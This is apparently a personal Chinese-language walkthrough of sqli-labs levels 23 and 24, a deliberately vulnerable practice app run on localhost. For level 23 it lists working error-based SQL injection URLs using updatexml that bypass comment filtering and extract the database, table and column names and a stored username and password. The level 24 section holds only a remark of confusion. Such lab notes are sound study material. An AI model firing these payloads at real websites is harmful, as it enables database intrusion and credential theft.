sqli-23~24

第二十三关

......(其实发现好简单的一关)

就是过滤 #和--

http://127.0.0.1/sqli/Less-23/?id=1' and '1'='1

http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1　　#security

http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) and '1'='1　　#users

http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 7,1),0x7e),1) and '1'='1　　#username

http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) and '1'='1　　#password

http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 4,1),0x7e),1) and '1'='1　　#'~stupid~stupidity~'

第二十四关

看到这关很懵逼的状态